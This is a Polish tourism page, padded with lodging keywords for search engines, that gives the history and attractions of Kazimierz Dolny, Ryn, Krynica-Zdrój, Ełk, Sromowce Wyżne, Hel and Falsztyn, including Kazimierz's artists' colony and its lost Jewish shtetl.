Wycieczka do Kazimierza Dolnego

Najstarsze osadnictwo na terenach Kazimierz Dolny noclegi i okolic pojawiło się we wczesnym średniowieczu, zanim jeszcze powstało państwo polskie. Kazimierz Dolny swoimi początkami sięga XII w., kiedy istniała tu osada zwana “Wietrzną Górą”. Wraz z okolicznymi wsiami w końcu XII w. (przyjmuje się datę1181r.) książę Kazimierz Sprawiedliwy nadał ją siostrom norbertankom z krakowskiego Zwierzyńca. Przypuszcza się, że to właśnie siostry norbertanki zmieniły nazwę osady na „Kazimierz”, na cześć swego darczyńcy. Kazimierz Dolny noclegi tanie
Od końca XIII w. przez Kazimierz Dolny pensjonaty przebiegał jeden z głównych szlaków handlowych łączących Ruś ze Śląskiem i Pomorzem, co przesądziło o rozwoju miasta i zaważyło na jego dalszych losach. Z tego okresu pochodzi wieża obronna zwana basztą, której funkcją było strzec owej przeprawy.
W XIV w. Kazimierz otrzymuje prawa miejskie na mocy lokacji króla Kazimierz Wielkiego. Wcześniej, bo w r. 1325 powstała kazimierska parafia, której fundatorem – podobnie jak i zamku – był również król Kazimierz Wielki.
XIV w. to początek osadnictwa ludności żydowskiej, która na przełomie XIX i XX w. stanowiła połowę ludności miasta.
Kazimierz rozwijał się dzięki przeprawie i cłom, a co za tym idzie – dzięki handlowi. O bogactwie i znaczeniu decydowała żegluga wiślana, przede wszystkim spław towarów, głownie zboża.
W wieku XVI Kazimierz Dolny domki dwukrotnie spłonął. Pod koniec tego wieku i do połowy wieku XVII miasto odbudowuje się i odradza w nowym, świetnym kształcie. Dzięki handlowi związanemu ze spławem zboża do Gdańska rodzą się fortuny, wznoszone są najznakomitsze zabytki. W szczytowym okresie rozwoju, przypadającym na wiek XVI i pierwszą połowę XVII w., Kazimierz był jednym z najważniejszych w Rzeczypospolitej ośrodków handlu zbożem. O jego skali świadczą nadwiślańskie spichlerze w liczbie blisko 60, bogato zdobione.
W roku 1657 miasto zajmują Szwedzi i od tego czasu Kazimierz Dolny apartamenty wchodzi w okres klęsk – wojen, pożarów, grabieży i zarazy.
Wiek XVIII to próby podźwignięcia miasta z upadku i niewielkie ożywienie w handlu zbożem. Jednak po wszystkich klęskach i wojennych zawieruchach miasto nigdy już nie odzyskało dawnej pozycji.
Jego kres nastąpił ostatecznie w wyniku rozbiorów i odcięcia Gdańska od Polski.
Kazimierz uczestniczył w Powstaniu Listopadowym i Styczniowym, po których nastąpiły represje – kasata klasztoru i prześladowania mieszkańców miasteczka. Po upadku Powstania Styczniowego Kazimierz utracił w 1869r. prawa miejskie (przywrócone ponownie dopiero w 1927r.). Na domiar złego wielki pożar w 1866r. zniszczył całkowicie północno-zachodnią pierzeję rynku z ratuszem.
Mimo to, piękne położenie i warunki naturalne sprawiają, że pod koniec XIX w. Kazimierz staje się popularnym letniskiem, odwiedzanym przez mieszkańców Warszawy, Lublina i innych miast polskich. Zaczyna się „ruch turystyczny”.
Z początkiem XX w. Kazimierz wchodzi w swój „wiek sztuki” – miasteczko staje się ulubionym plenerem profesorów i studentów uczelni artystycznych. Kształtuje się kolonia artystyczna, związana głównie z działalnością artystyczną i dydaktyczną prof. Tadeusza Pruszkowskiego, wokół którego gromadzą się wybitni młodzi malarze. Pruszkowski powołuje do życia grupę artystyczną „Bractwo Św. Łukasza”.
Zdecydowane ożywienie Kazimierza przypada na dwudziestolecie międzywojenne, a to za sprawą narastającego ruchu turystycznego i założeniu tu kolonii artystycznej.  II wojna światowa, dokładnie marzec 1942r. to kres żydowskiego rozdziału w historii Kazimierza. Na skutek działań wojennych następuje znaczne zniszczenie miasta.
Obecny kształt Kazimierz zawdzięcza głównie Karolowi Sicińskiemu, pod kierunkiem którego odbywała się powojenna odbudowa.
Dzisiejszy Kazimierz ze zrekonstruowaną substancja zabytkową uważany jest za perłę architektury i Mekkę artystów oraz za atrakcyjny ośrodek turystyczny.

Kolonia artystyczna
Artyści do Kazimierza przyjeżdżali już od końca XVIII w. Tworzyli tu najwybitniejsi z nich, m.in. Zygmunt Vogel, J. Richter, J.F. Piwarski, M.E. Andriolli, Wojciech Gerson, Józef Pankiewicz (który właśnie w Kazimierzu namalował pierwszą w Polsce serię obrazów impresjonistycznych), Aleksander Gierymski i wielu innych. Jednak prawdziwy „wiek sztuki” Kazimierza rozpoczął się na początku XX w., gdy w Warszawie powstała Szkoła Sztuk Pięknych, a oczy jej profesorów zwróciły się na miasteczko. Przełomowym był rok 1909, kiedy Władysław Ślewiński, przyjaciel Paul’a Gouguin’a, artysta z bogatym doświadczeniem wyniesionym z kolonii artystycznej w Pont Aven, przybył tu ze swoimi studentami. Odtąd w Kazimierzu widok malarzy stał się czymś powszechnym; powstały zręby kazimierskiej kolonii artystycznej.
Jak zdefiniować „kolonię artystyczną”? Cytując za Rilke’m: „tylko tam życie staje się kształtem sztuki”. Jej ideą jest nie tylko plenerowa praca twórcza, kolonia to styl życia i codzienność.  Na początku XX wieku ten rodzaj aktywności malarskiej był w Polsce czymś nowym, profesorowie szkół artystycznych dopiero zaczynali wyjeżdżać „w naturę”, zabierając ze sobą studentów. Kazimierz idealnie spełniał malarskie poszukiwania „szczerości”, „prymitywu” i „egzotyki”, tego było tu pod dostatkiem. Już na początku XX w. otoczony był on aurą miasteczka malarskiego, powoli przeobrażającego się w kolonię artystyczną. Coraz liczniej przybywający artyści zachwycają się „wyjątkowym pejzażem”, „ciepłym, swojskim nastrojem”,  „polską urodą i „rzewną poetyką, chwytająca za serce”. Kazimierz przyjmuje ich gościnnie, odwdzięczając się codziennym eksponowaniem swych wdzięków.
Rozkwit kazimierskiej kolonii nastąpił w 1923 r., kiedy prof. Tadeusz Pruszkowski, rektor warszawskiej Szkoły Sztuk Pięknych, przywiózł tu po raz pierwszy studentów ze swej pracowni. Odtąd plenery w Kazimierzu stały się nieodzowną praktyką, rodziły się dzieła i przyjaźnie, których rezultatem był zwyczaj wiązania się w grupy artystyczne po ukończeniu studiów. Pierwszą, najsłynniejszą i najbardziej znaczącą było założone w 1925 r. przez Tadeusza Pruszkowskiego Bractwo Św. Łukasza. Wśród jego członków znajdowali się m.in. Jan Cybis, Jan Zamoyski, Antoni Michalak i Jan Wydra.
Za „pruszkowiakami” do Kazimierza ciągnęli inni artyści z całej Polski, uprawiający różne formy plastyczne i hołdujący rozmaitym stylom. Kazimierska kolonia nie miała zatem określonego programu ideowego czy artystycznego. Programem kolonii w Kazimierzu był sam Kazimierz.
Tadeusz Pruszkowski i Antoni Michalak w miasteczku zbudowali swe domy. Malarze, w tym wielu artystów żydowskich, zaczęli być charakterystycznym i codziennym motywem kazimierskiego pejzażu, z czasem stającym się jego ikoną.
Wojna nie przerwała istnienia kolonii. Po jej zakończeniu bardzo szybko powrócili tu malarze. Nie tylko tworzyli, z czasem zaczęli wystawiać tu swoje prace. Pierwszą rynkową „galerię” pod gołym niebem ustawiał Stanisław Jan Łazorek, w którego ślady poszło wielu innych.
W 2000 r. powołano do życia Kazimierską Konfraternię Sztuki, skupiającą ok. 70 członków, nawiązującą do międzywojennych tradycji kolonii artystycznej i kultywującą je.
Sztuka i artyści to tożsamość Kazimierza. Niezmiennie są tu obecni, nowe pokolenia doceniają wartość miasteczka i zakochują się w jego urokach. Z całą pewnością można powiedzieć, że kolonia artystyczna w Kazimierzu wciąż żyje i rozwija się, a sztuka była i jest jednym z najważniejszych elementów tożsamości Kazimierza.
Pamięć o koloniach odżywa w całej Europie. Wyrazem tego jest  powstanie w 1996r. Europejskiej Federacji Kolonii Artystycznych EURO – ART z siedzibą w Brukseli, działającej pod auspicjami Unii Europejskiej. Od 2000 roku jej członkiem jest Muzeum Nadwiślańskie w Kazimierzu Dolnym.

Stetl Kuzmir.  Kazimierz Dolny przez wieki był domem ludności żydowskiej, która pojawiła się tu już na początku XIII w. W wieku XVI w stanowiła ona 1/6 liczby mieszkańców, a pod koniec wieku XIX – co najmniej połowę.
Żydzi zamieszkiwali głównie Mały Rynek i ulicę Lubelską, ale ich domy znaleźć można było również przy innych uliczkach niedaleko rynku. Na samym rynku mogli się osiedlać od XVII w., po zniesieniu. ograniczeń związanych z osadnictwem miejskim.
W okresie „złotego wieku” tutejsi, co znaczniejsi kupcy żydowscy, trudnili się handlem związanym głównie ze spławem towarów.
Zajęciem ludności żydowskiej był przede wszystkim handel i rzemiosło, ale znajdziemy też wśród nich przewoźników wiślanych, przewodników, felczerów i aptekarza.
Przed II wojną światową, oprócz zabudowań mieszkalnych, istniały tu liczne obiekty związane z religią żydowską, m.in.: synagoga, mykwa, dom modlitwy, dwór cadyka oraz dwa cmentarze. W codzienności Kazimierza Żydzi byli elementem stałym i oczywistym, nie dochodziło tu do konfliktów na tle narodowościowym. Kazimierscy katolicy i kazimierscy Żydzi żyli w symbiozie, choć istniał element pewnej izolacji kulturowej i niejakiego poczucia obcości.
Charakterystyczna gęsta, drewniana zabudowa, skromna, czasem nawet nędzna, widok chasydów z pejsami ubranych w chałaty, szabasowe świece w oknach, kiwający się w modlitwie mężczyźni w tałesach, gwar słów w języku jidysz i dziesiątki żydowskich kóz – to obraz typowego, „modelowego” przedwojennego sztetl – żydowskiego miasteczka, nazywanego przez Żydów  Kuzmir. Ze względu na swą malowniczość i urok stało się ono przed wojną ulubionym miejscem plenerów żydowskich artystów i – co ciekawe – filmowców. Nakręcono tu dwie znane amerykańskie produkcje w języku jidysz – „Dybuk” i Jidł mitn fidł”.
Z pokolenia na pokolenie powtarzano też legendę o pięknej kazimierskiej Żydówce, w której zakochał się król Kazimierz Wielki. To dla niej miał wznieść zamek w Bochotnicy, do którego z kazimierskiego zamku wiódł tajemny, podziemny korytarz.
W kazimierskiej scenerii i realiach osadzane były również powieści żydowskich pisarzy, np. „Miasteczko” Szaloma Asza.
Przedwojenny Kuzmir był wdzięcznym i ulubionym plenerowym atelier fotograficznym. Tu powstały wybitne cykle fotografii Benedykta Jerzego Dorysa oraz Altera Kacyzny, dokumentujące żydowskie życie malowniczego miasteczka.
Represje Niemców wobec ludności żydowskiej pojawiły się już po kilku miesiącach od wybuchu II wojny światowej. Na ulicach Nadrzecznej i Senatorskiej zorganizowano getto, do którego przeniesiono wszystkich Żydów. Ostatecznie wypędzono ich w marcu 1942 roku. Pieszy, tragiczny marsz w stronę Opola Lubelskiego zakończył się zagładą w hitlerowskich obozach śmierci.  Dziś w Kazimierzu pozostała już tylko synagoga z ekspozycją muzealną i kierkut w Czerniawach, a także nostalgiczne wspomnienia i wyczuwalna niezwykła atmosfera sztetl Kuzmir.

Ryn

ŚCIEŻKA SPACEROWA WOKÓŁ JEZIORA OŁÓW Ryn noclegi ostała zbudowana w 2011 r. Jest doskonałym miejscem zarówno pieszych, jak i rowerowych wędrówek. Można nią obejść dookoła piękne i malownicze jezioro Ołów. Ścieżka jest z pewnością jedną z najważniejszych atrakcji noclegi Ryn noclegi tanie i obowiązkowym punktem programu każdego turysty. Można tu poczuć prawdziwie mazurski klimat oraz rzeczywisty i bezpośredni kontakt z przyrodą. Trasa rozpoczyna swój bieg nieopodal zamku, tuż przy plaży. Następnie otacza jezioro Ołów pięciokilometrowej długości pętlą. Wije się malowniczo w przeważającej części tuż nad samym brzegiem, niemal dotykając wody. Nawet, jeśli biegnie przez las, to i tak w bezpośrednim kontakcie z wodą. Jezioro Ołów ma 61 ha powierzchni, stanowi strefę ciszy i jest jednym z najczystszych w okolicy. To ulubione miejsce płetwonurków – nie tylko ze względu na znaczną głębokość ( czterdzieści metrów), ale też liczne podwodne atrakcje. Nad jeziorem znajdują się zagospodarowana przestrzeń rekreacyjna ze stylowymi wiatami, ławeczkami, boiskiem i miejscem na ognisko. Nieopodal usytuowana jest miejska plaża i strzeżone kąpielisko z pomostami. Znajdująca się tu wypożyczalnia sprzętu wodnego oferuje łodzie, kajaki i rowery wodne. Interesującym obiektem jest dawna winnica krzyżacka, górująca nad jeziorem. Niestety ostry klimat spowodował, że krzyżakom sztuka uprawy winorośli nie udała się, a po winnicy pozostało tylko wzgórze i wyraźne tarasy. Ścieżka, to nie tylko ważne miejsce dla turystów. Przede wszystkim pokochali ją mieszkańcy. Dziś jest ulubionym miejscem spotkań i rodzinnych spacerów. Ryn noclegi domki
Stare wiatraki, to malowniczy element krajobrazu, choć niestety coraz rzadziej już spotykany. Wiatrak holenderski Rynie (tzw. holender) jest jednym z nielicznych na Mazurach. Stoi dumnie na wzgórzu, przy wjeździe od strony Olsztyna i jest jednym z najbardziej charakterystycznych i rozpoznawalnych symboli miasta. Ten typ wiatraka powstał w północnej Holandii w 14. wieku, a w 18. wieku rozpowszechnił się w Polsce. Ryński wiatrak zbudowano w 1873 r. Postawiony jest na planie koła, w całości murowany, posiada okna i drewniane okiennice. Charakteryzuje się nieruchomym, zwężającym się ku górze korpusem, do którego umocowana jest czapa dachu z czterema śmigłami. Dzięki Ryn domki letniskowe wykorzystaniu łożysk, na których osadzony jest dach możliwe jest dostosowanie obracających się śmigieł do kierunku wiejącego wiatru (dach porusza się na żeliwnych rolkach po żeliwnym pierścieniu). Ze wzgórza roztacza się rozległy widok na okolicę i leżące w dole Jezioro Ryńskie. Obecnie wiatrak stanowi prywatną własność i trwają w nim prace, które mają mu przywrócić dawną świetność. Nieopodal, na pagórku wśród drzew, znajduje się stary cmentarz . Warto go odwiedzić. Czas, jakby się tu zatrzymał. Choć do centrum miasta stąd zaledwie kilkaset metrów, to cicho tu i spokojnie. Na cmentarzu spotkać można zabytkowe, kute, żelazne krzyże, stare ogrodzenia. i oplecione bluszczem nagrobki. Nad cmentarzem góruje strzelista, imponująca bryła ponad stuletniej wieży ciśnień. agroturystyka Ryn
Ryn to nie tylko jeziora i piękne krajobrazy. Latem do odwiedzenia miasta zachęcają liczne imprezy i wydarzenia artystyczne, organizowane głównie przez Ryńskie Centrum Kultury i Hotel „Zamek Ryn”. „Biesiada Oldtimerów”, to zlot starych żaglowców, regaty, koncerty szantowe i zabawy „jeziorno-szuwarowo-bagienne”. Festiwal Kultury Średniowiecza „Masuria” nie tylko dostarcza mocnych wrażeń w postaci turniejów i walk rycerskich. Jest też bowiem znakomitą okazją do obejrzenia widowiska historycznego odbywającego się w dawnej krzyżackiej winnicy, wzięcia udziału w średniowiecznym jarmarku, czy wysłuchania koncertów muzyki dawnej. „Ryńskie Smalcowanie z ogórczeniem”, to z kolei festyn kulinarny, w trakcie którego odbywa się regionalny konkurs na najlepsze ogórki kiszone i smalec. Konkursowi towarzyszą pokazy kulinarne, występy artystyczne, konkursy związane ze smalcem i ogórkami, no i oczywiście degustacja. Imprezą towarzyszącą „smalcowaniu z ogórczeniem” są widowiskowe Mistrzostwa Polski w Rzucie Ogórkiem Parami. Ryn jest również gospodarzem największej imprezy filmowej w regionie: „Mazurskiego Festiwalu Filmowego”. Przez kilka dni w wielu miejscach mają miejsce równoległe projekcje filmowe. Nie brakuje też imprez towarzyszących w postaci koncertów, oraz spotkań z twórcami i aktorami. Tradycyjną i popularną od lat imprezą jest święto miasta – „Dni Rynu” – składające się z wielu odrębnych, różnorodnych wydarzeń. Ciekawe  przedsięwzięcia o charakterze cyklicznym proponuje ryński zamek. Organizowane tu rycerskie biesiady, degustacje wina z sommelierem, spektakle teatralne, koncerty muzyki dawnej, recitale, to propozycje, które z pewnością uatrakcyjnią wakacyjny pobyt.

KRYNICA HISTORIA MIASTA

Krynica wille istniała już przed 1547 r. o czym świadczy przywilej nadania sołectwa w tej miejscowości dla Danka z Miastka (dzisiaj Tylicz). Rozwój miasta w okresie późniejszym wiąże się już z odkryciem w XVIIw. leczniczych wartości źródeł mineralnych. Zaczątkiem uzdrowiska był zbudowany w 1794r. „Mały domek”, który od 1804r. pomieścił pierwsze zakłady kąpielowe. W 1807r. Krynica-Zdrój została nazwana urzędowo zdrojem kąpielowym i zaczął tu wkrótce ordynować pierwszy lekarz. Wielką erę Krynica noclegi jako uzdrowiska rozpoczęła w 1856r. działalność Józefa Dietla – profesora Uniwersytetu Jagiellońskiego, uznawanego za ojca polskiej balneologii. Już od 1858r. stosowano tu kąpiele borowinowe, a kontynuatorzy dzieła Dietla przyczynili się do rozwoju technicznego uzdrowiska. W tym okresie powstały takie obiekty jak Stare Łazienki Mineralne, Stare Łazienki Borowinowe, Dom Zdrojowy, drewniana Pijalnia Główna z deptakiem, liczne pensjonaty i Teatr Modrzewiowy . Do rozwoju uzdrowiska przyczyniło się również wybudowanie w 1876r. linii kolejowej do Muszyny, przedłużonej w 1911r. do Krynicy-Zdroju. W końcu wieku XIX Krynica-Zdrój była modnym i elitarnym miejscem pobytu i spotkań wielu sławnych Polaków (bywali tu m.in. J. Matejko, A. Grottger, H. Sienkiewicz, J.I. Kraszewski). W okresie międzywojennym przebywali tu również: L. Solski, H. Modrzejewska, W. Reymont, J. Tuwim, K.I. Gałczyński, J. Kiepura. Do częstych pobytów Kiepury w Krynicy-Zdroju nawiązują organizowane obecnie festiwale nazwane jego imieniem. W Teatrze Modrzewiowym (który niestety spłonął w 1943r.) występowali L. Solski i H. Modrzejewska. noclegi Krynica Zdrój znana jest z twórczości malarza prymitywisty Nikifora zwanego Krynickim.
Po I wojnie światowej uzdrowisko przejęły władze polskie. Odrestaurowano wtedy część obiektów i wybudowano wiele nowych np. Nowe Łazienki Mineralne, pensjonat Lwigród, Nowy Dom Zdrojowy. Zbudowano też schronisko na Jaworzynie Krynickiej i kolejkę na Górę Parkową, stadion zimowy oraz tor saneczkowy. Krynica-Zdrój stała się również ośrodkiem sportów zimowych, odbyły się tu m.in. Mistrzostwa Europy w saneczkarstwie i Mistrzostwa Świata w hokeju na lodzie. W 1919 roku na wczasy lub leczenie przybyło do Krynicy 10 tysięcy osób, a w 1938 roku liczba ta wzrosła do 40 tysięcy rocznie. Druga wojna światowa i okres okupacji przerwały rozwój uzdrowiska. Po wojnie nastąpiła rozbudowa kurortu, powstały nowe sanatoria branżowe, efektowny zakład przyrodoleczniczy, Pijalnia Główna z salą koncertową, korty tenisowe, boiska. Krynica apartamenty Zdrój stała się największym kurortem w zespole uzdrowisk krynicko-popradzkich. Krynica pokoje do wynajęcia
Ostatnie lata to intensywny rozwój infrastruktury sportowej i rekreacyjnej. Największą inwestycją Polski południowej jest bez wątpienia kolej gondolowa na Jaworzynę Krynicką z towarzyszącą jej siecią tras narciarskich oraz budowa hali sportowo-widowiskowej na bazie sztucznego lodowiska.

Ełk

Ełk  noclegi miasto i gmina w północno-wschodniej Polsce, w województwie warmińsko-mazurskim. Największe i najludniejsze miasto na Mazurach oraz główny ośrodek przemysłowy i kulturalny w regionie. Ełk noclegi nad jeziorem

Do 31 maja 1975 i od 1 stycznia 1999 siedziba władz powiatu ełckiego, a od 1992 siedziba rzymskokatolickiej diecezji ełckiej. Miasto zajmuje 3. miejsce pod względem ludności i 4. miejsce pod względem powierzchni w województwie warmińsko-mazurskim. Jest największym w województwie miastem, które nigdy przed 1945 nie znalazło się w granicach państwa polskiego (Elbląg i Olsztyn należały do Polski w latach 1466-1772), największym miastem współczesnej Polski na ziemiach, które należały do Prus Książęcych i największym miastem leżącym na ziemiach, które nigdy przed 1945 nie były integralną częścią państwa polskiego (w latach 1466-1657 Ełk był lennem Korony Królestwa Polskiego). Ełk noclegi domki

W latach 1946-1975 miasto administracyjnie należało do województwa białostockiego, a w latach 1975-1998 dowojewództwa suwalskiego. Ełk noclegi pensjonaty

Ełk położony jest na Pojezierzu Ełckim, będącym częścią Pojezierza Mazurskiego. Miasto leży nad Jeziorem Ełckim, jeziorem Sunowo i rzeką Ełk, będącą dopływem Biebrzy. Ponadto w obrębie miasta znajdują się dwa niewielkie jeziora:Selmęt Mały i Szyba. Miasto znajduje się w centrum Zielonych Płuc Polski. To jeden z najcenniejszych ekosystemów w kraju i w Europie. Obszar charakteryzuje się unikatową różnorodnością przyrody: lasów, jezior, przez równiny i doliny morenowe, aż po zielone pagórki. Ełk agroturystyka

Według danych z 2002 Ełk ma obszar 21,07 km2, w tym: użytki rolne 24%, użytki leśne 4%

Miasto stanowi 1,9% powierzchni powiatu.

Miasto powstało jako podgrodzie zamku krzyżackiego w końcu XIV wieku, uzyskało prawa miejskie w 1445. Przed reformacją parafia ełcka należała doarchiprezbiteratu w Reszlu. Od XVI w. aż do 1945 dominowali ewangelicy.

Panorama Ełku ok. 1900 r.

Ośrodek ruchu mazurskiego. Według danych niemieckich w 1890 w mieście Polacy stanowili 13%, a w powiecie (Landskreis Lyck) 71% mieszkańców. Pod koniec 1896 w Ełku powstała Mazurska Partia Ludowa, a w grudniu 1923 –Masurenbund (Związek Mazurów). W latach 1896–1902 wydawano również Gazetę Ludową, redagowaną w języku polskim i przeznaczoną dla ludności mazurskiej.

Silne zniszczenia w czasie I wojny światowej. Szybka odbudowa i rozkwit gospodarczy po jej zakończeniu. W okresie międzywojennym siedziba Konsulatu Polskiego. W czasie II wojny światowej miejsce pracy przymusowej wielu obywateli państw okupowanych. Teren działania wywiadu AK. 24 stycznia 1945 opustoszałe miasto zdobyły wojska radzieckie (Siły niemieckie mające bronić Ełku, wycofały się na chwilę przed pojawieniem pierwszych oddziałów Armii Czerwonej). Po zajęciu Ełku Czerwonoarmiści dokonali grabieży oraz umyślnego niszczenia budynków. Zniszczeniu uległo blisko 50% zabudowy. 6 kwietnia 1945 zdewastowane miasto zostaje przekazane administracji polskiej. Po wojnie Ełk był wyludnionym miastem powiatowym. Zasiedlono go głównie mieszkańcami z okolicznych powiatów (np. szczuczyńskiego, augustowskiego), w mniejszym stopniu przesiedleńcami z Kresów (głównie Grodzieńszczyzny iWileńszczyzny).

Jeden z budynków byłej jednostki wojskowej przy ul. Kościuszki

Miasto znalazło się pierwszy raz od czasów swojego istnienia w granicach państwa polskiego, aczkolwiek w wiekach poprzednich niejednokrotnie było zdobywane przez Polaków, w latach 1466-1657 było wasalne wobec Polski (stanowiło jejlenno), a w wiekach XIX i XX znajdował się w mieście silny ośrodek polskości. Obecnie duże zakłady mięsne, przetwórnia owoców, zakłady elektrotechniczne, drzewne, odzieżowe, węzeł kolejowo-drogowy. Rodzinne miasto znanego mazurskiego poety Michała Kajki. Do lat 90. XX wieku przyszłość Ełku upatrywano w intensywnej rozbudowie przemysłu, w szczególności przemysłu przetwórczego, rolno-spożywczego oraz drzewnego. Po przemianach ustrojowych w 1989 nowe samorządowe władze postawiły na turystykę i ekologię. W 1992 miasto przystąpiło do realizacji strategii Zielone Płuca Polski. Cel programu to zarządzanie miastem i gminą oparte na idei ekorozwoju. Rozpoczęto rekultywację jeziora oraz modernizację oczyszczalni ścieków.

W 1989 miasto osiągnęło liczbę 50 tysięcy mieszkańców. Zmiany ustrojowe, wzrost ludności oraz powstanie nowych osiedli umożliwiło powołanie nowych parafii i budowę nowych kościołów. W latach 1988-1992 powołano siedem nowych parafii rzymskokatolickich. 25 marca 1992 miasto zostało siedzibą rzymskokatolickiej diecezji ełckiej, a pierwszym biskupem został Wojciech Ziemba.

8 czerwca 1999 miasto odwiedził Jan Paweł II. W pierwszą rocznicę mszy papieskiej odsłonięto pomnik Jana Pawła II, a Plac Sapera, na którym stoi, przemianowano naPlac Jana Pawła II. Także w 2000 roku oddano do użytku krytą pływalnię. W kolejnym roku otworzono Centrum Edukacji Ekologicznej oraz Centrum Studiów Bałtyckich w Ełku, będące pierwszym zamiejscowym punktem kształcenia Uniwersytetu Warmińsko-Mazurskiego. W 2002 roku działalność rozpoczął nowy szpital miejski na Barankach.

W 2008 roku doszło do głośnego konfliktu władz miasta oraz władz gminy wiejskiej Ełk w związku z planowanym poszerzeniem granic miasta o wsie Konieczki iSiedliska. Wydarzenia, w tym strajk głodowy w siedzibie gminy, były opisywane przez największe krajowe media, co doprowadziło do upadku projektu 28 lipca tegoż roku.

W lipcu 2011 działalność zakończyło Kino Polonia – ostatnie ełckie kino, jednakże 21 października tego samego roku działalność rozpoczęło nowe kino w Ełckim Centrum Kultury.

Sromowce Wyżne

Sromowce Wyżne to nieduża wioska, ale doskonale może posłużyć nam jako baza wypadowa w góry. Najbliższe to Pieniny, w które warto się wybrać i zwiedzić kilka szlaków, można również wyruszyć w Gorce. Niedaleko znajdują się wyciągi narciarskie, co z pewnością ucieszy narciarzy. Mogą oni pojeździć na pobliskich wyciągach jak i pojechać dalej – w Tatry polskie i słowackie. Miejscowi gospodarze oferują kuligi z ogniskiem na zakończenie (tel 018 26 29 780). Latem można wynająć na Jeziorze Czorsztyńskim sprzęt pływający, zamówić bryczkę (tel 79 02 11 465) lub zwyczajnie poleżeć na plaży nad Dunajcem. Pobliskie miejscowości również oferują dla turystów wiele atrakcji. noclegi w Sromowcach Wyżnych

Dzieje tej miejscowości liczącej około 1200 mieszkańców, leżącej nad brzegiem Dunajca, zespalają się z historią zakonu Klarysek ze Starego Sącza, który to już w roku 1327 posiadał te ziemie z nadania królewskiego. W miejscowości obok kościoła na cmentarzu znajdują się groby właścicieli tych ziem hr. Drohojowskich. Od 1924 r. Wybudowane domy harcerskie „Dworek Cisowy”, „Watra” i „Orle Gniazdo” były ośrodkiem szkoleń instruktorek szkoły żeńskiej prowadzonej przez druhnę Olgę Małkowską do czasów II wojny światowej. Obecnie budynki stanowią bazę dla zielonych szkół. Przysiółek Sromowiec Wyżnych – Kąty stanowi początkową przystań flisacka. Stąd rozpoczyna się jedna z największych atrakcji turystycznych regionu Spływ Przełomem Dunajca. Cenną zaletą jest interesujący folklor kultywowany przez okolicznych mieszkańców. Ludność posługuje się gwarą podhalańską z silnymi wpływami słowackimi, węgierskimi oraz rumuńskimi. Piękne stroje regionalne używane są do dnia dzisiejszego głównie z okazji świąt kościelnych. Bliskość przejścia granicznego na Słowację stwarza dodatkowe możliwości zwiedzania Tatr po stronie słowackiej. W pobliżu przejścia granicznego jest wyciąg narciarski. Ze względu na usytuowanie miejscowości w pobliżu zespołu zbiorników wodnych rzeki i lasów istnieją doskonałe warunki do aktywnego wypoczynku.

W okolicy funkcjonuje kilka stacji narciarskich. Wyciągi narciarskie „Polana Sosny” znajdują się w pobliżu przejścia granicznego Niedzica – Łysa nad Dunajcem. Trasy dobrze utrzymane, przeznaczone zarówno dla zaawansowanych jak i początkujących narciarzy. Sromowce Wyżne agroturystyka

Po wejściu Polski i Słowacji do strefy Schengen granicę można przekraczać w dowolnym miejscu. Jednak nie wszędzie jest łatwo. Najdogodniej na Słowację dostać się przez stare przejścia graniczne:
noclegi Sromowce Wyżne – Łysa nad Dunajcem, Niedzica – Łysa nad Dunajcem, Sromowce Wyżne pokoje do wynajęcia – Czerwony Klasztor, Szczawnica – Leśnica.

Hel

Hel noclegi to popularny kurort nadbałtycki położony na samej północy Polski, w województwie pomorskim, na malowniczej i zadziwiającej Mierzei Helskiej, w pobliżu słynnej Juraty. Usytuowanie Helu na cyplu Półwyspu Helskiego jest naprawdę wyjątkowe, wody Bałtyku otaczają go z trzech stron, dając tym samym niesamowite wrażenie. Ponadto dogodne warunki klimatyczne i przyrodnicze sprawiły, że Hel szybko stał się znanym ośrodkiem wypoczynkowym, licznie przyciągającym letników.

W pobliżu Helu uformował się zespół malowniczych wydm białych i szarych objętych ochroną w granicach Nadmorskiego Parku Krajobrazowego. Zresztą cała Mierzeja Helska jest niezmiernie ciekawa pod względem przyrodniczym i krajobrazowym.

W przeszłości noclegi Hel miał też duże znaczenie strategiczne, stanowił bazę morską floty wojennej, z rozbudowanym systemem stanowisk obrony artyleryjskiej. Do dzisiaj zachowały się fragmenty Rejonu Umocnionego Hel, a na nadbrzeżu stoi najstarszy zachowany polski okręt – słynny „Batory”.

Atrakcje w Helu Darłówko noclegi

– Fokarium w Helu, ul. Morska 2, jedyne w Polsce fokarium z fokami szarymi, mające na celu odtworzenie koloniii tego gatunku, część Stacji Morskiej Instytutu Oceanografii Uniwersytetu Gdańskiego

– Latarnia Morska w Helu, ul. Bałtycka – zabytkowy obiekt udostępniony dla turystów w miesiącach maj-wrzesień

– Muzeum Rybołówstwa w Helu, ul. Bulwar Nadmorski – placówka ma siedzibę w poewangelickim kościele Św. Piotra i Pawła, tuż przy porcie, jest to Oddział Narodowego Muzeum Morskiego w Gdańsku Dąbki noclegi

– Muzeum Obrony Wybrzeża na Helu – Fortyfikacje Półwyspu Helskiego to jeden z ciekawszych zespołów umocnień w Polsce, ciągnący się od Kuźnic aż po Cypel. Muzeum ma siedzibę w dwóch największych obiektach: wieży kierowania ogniem i w stanowisku artyleryjskim potężnej baterii Schleswig-Holstein

– Ulica Wiejska – deptak Helu, z ciekawymi zabytkowymi domkami

– Port rybacki w Helu, ul. Bulwar Nadmorski – port i przystań, stąd wyruszają statki w rejsy

– Helska Kolejka Wąskotorowa noclegi Darłówko

– Nadmorski Park Krajobrazowy – obszar chronionego krajobrazu, na jeo obszarze zobaczyć można m.in. wszystkie rodzaje wybrzeża morskiego występujące w Polsce

Falsztyn

Falsztyn

Falsztyn to wioska malowniczo położona w paśmie Pieniny noclegi Spiskich, na wysokości 610-660 m n.p.m., wchodząca w skład Polskiego Spiszu. To piękna, choć w istocie najmniej rozwinięta turystycznie miejscowość w regionie. Falsztyn to azyl dla przyjezdnych szukających wytchnienia i rekreacji w bliskości z naturą.

Wioska powstała prawdopodobnie w XV wieku, w miejscu średniowiecznego klasztoru zniszczonego w trakcie najazdu husytów. Przez lata należała do właścicieli Zamku Dunajec w Niedzicy. Groby ostatnich zarządców – zmadziaryzowanej niemieckiej rodziny Jungenfeldów, znajdują się na zabytkowym cmentarzu (na początku wsi od strony Frydmana, 30 m za przystankiem autobusowym).  Niedzica noclegi

